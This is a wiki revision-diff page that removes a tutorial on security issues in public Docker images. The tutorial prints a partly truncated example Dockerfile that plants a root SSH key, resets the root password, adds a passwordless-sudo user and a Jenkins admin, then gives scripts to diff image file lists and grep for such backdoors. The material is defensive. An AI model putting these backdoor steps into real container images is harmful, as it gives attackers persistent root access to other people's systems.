docker:common_security_issues_inside_public_docker_images
Differences
This shows you the differences between two versions of the page.
Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
docker:common_security_issues_inside_public_docker_images [2016/10/17 13:37] – peter | docker:common_security_issues_inside_public_docker_images [2020/05/13 08:35] (current) – removed peter | ||
---|---|---|---|
Line 1: | Line 1: | ||
- | ====== Docker - Common Security Issues Inside Public Docker Images ====== | ||
- | |||
- | ===== Common Security Issues Inside Public Docker Images ===== | ||
- | |||
- | Here is a simple example. | ||
- | |||
- | In L18-19, a ssh key is injected to to authorized_keys. If you start sshd, you’re in danger. | ||
- | In L22, root password has been reset. Not good, isn’t it? | ||
- | In L25-26, a malicious OS user has been added. | ||
- | In L29-31, the user has been promoted as super admin, and he/she can run any commands without password! | ||
- | In L34-36, your jenkins has an unpleasant admin user now. Yes, Jenkins is hot and popular. You can do a lot of things with Jenkins. So do the hackers! This case represents security of application layer. It’s certainly the most dangerous and difficult case. | ||
- | |||
- | <code bash> | ||
- | ########## | ||
- | ## | ||
- | ## | ||
- | ## | ||
- | ## | ||
- | ## | ||
- | ## | ||
- | ## | ||
- | ## | ||
- | ## | ||
- | ################################################## | ||
- | |||
- | FROM ubuntu: | ||
- | | ||
- | |||
- | RUN mkdir -p /root/.ssh && \ | ||
- | # SSH login by key file | ||
- | echo " | ||
- | >> / | ||
- | |||
- | # Reset root password | ||
- | echo ' | ||
- | |||
- | # Add a malicious user | ||
- | | ||
- | echo ' | ||
- | |||
- | # Add user to super admin | ||
- | echo ' | ||
- | / | ||
- | chmod 400 / | ||
- | |||
- | # Add superadmin user to | ||
- | mkdir -p / | ||
- | wget -O / | ||
- | | ||
- | |||
- | CMD ["/ | ||
- | </ | ||
- | |||
- | |||
- | ===== Dump Change List Of Docker Images ===== | ||
- | |||
- | Apparently we still want to use community docker images. | ||
- | |||
- | People can inspect change of docker containers by : | ||
- | |||
- | <code bash> | ||
- | docker diff $container_id | ||
- | </ | ||
- | |||
- | Unfortunately docker doesn’t support images comparison. | ||
- | |||
- | ==== List all files in golden image like below. ==== | ||
- | |||
- | <code bash> | ||
- | container_name=" | ||
- | docker_image=" | ||
- | result_list="/ | ||
- | docker stop $container_name; | ||
- | | ||
- | # Start a container from golden image | ||
- | docker run -t --name $container_name \ | ||
- | -d $docker_image /bin/bash | ||
- | |||
- | # List all files inside the container | ||
- | docker export $container_name | \ | ||
- | docker run -i --rm ubuntu tar tvf - \ | ||
- | > $result_list | ||
- | |||
- | # Check the list | ||
- | tail $result_list | ||
- | # drwxr-xr-x 0/0 0 | ||
- | # -rwxr-xr-x 0/0 21112 | ||
- | # -rwxr-xr-x 0/0 31152 | ||
- | # lrwxrwxrwx 0/0 0 | ||
- | # -rwxr-xr-x 0/0 | ||
- | # ... | ||
- | </ | ||
- | |||
- | List all files in problematic image. | ||
- | |||
- | <code bash> | ||
- | container_name=" | ||
- | docker_image=" | ||
- | result_list="/ | ||
- | docker stop $container_name; | ||
- | | ||
- | # Start a container from golden image | ||
- | docker run -t --name $container_name \ | ||
- | -d $docker_image /bin/bash | ||
- | |||
- | # List all files inside the container | ||
- | docker export $container_name | \ | ||
- | docker run -i --rm ubuntu tar tvf - \ | ||
- | > $result_list | ||
- | |||
- | # Check the list | ||
- | tail $result_list | ||
- | </ | ||
- | |||
- | ==== Compare Two list ==== | ||
- | |||
- | <code bash> | ||
- | result1="/ | ||
- | result2="/ | ||
- | diff_result="/ | ||
- | |||
- | diff $result1 $result2 > $diff_result | ||
- | |||
- | tail $diff_result | ||
- | # > drwxr-xr-x 0/0 | ||
- | # > drwx------ 103/0 | ||
- | # > drwx--s--- 103/0 | ||
- | # > drwx------ 103/0 | ||
- | </ | ||
- | |||
- | |||
- | ==== Check for security vulnerability ==== | ||
- | |||
- | <code bash> | ||
- | diff_result="/ | ||
- | |||
- | # Check ssh authorized login | ||
- | grep authorized_keys $diff_result | ||
- | |||
- | # check OS users | ||
- | grep " | ||
- | |||
- | # Check sudo users | ||
- | grep " | ||
- | |||
- | # Check ssh key pair | ||
- | grep " | ||
- | |||
- | # Add your checks in below | ||
- | # ... | ||
- | # ... | ||
- | </ | ||
- | |||
- | After the test, remember to remove useless containers. | ||
docker/common_security_issues_inside_public_docker_images.1476711468.txt.gz · Last modified: 2020/07/15 09:30 (external edit)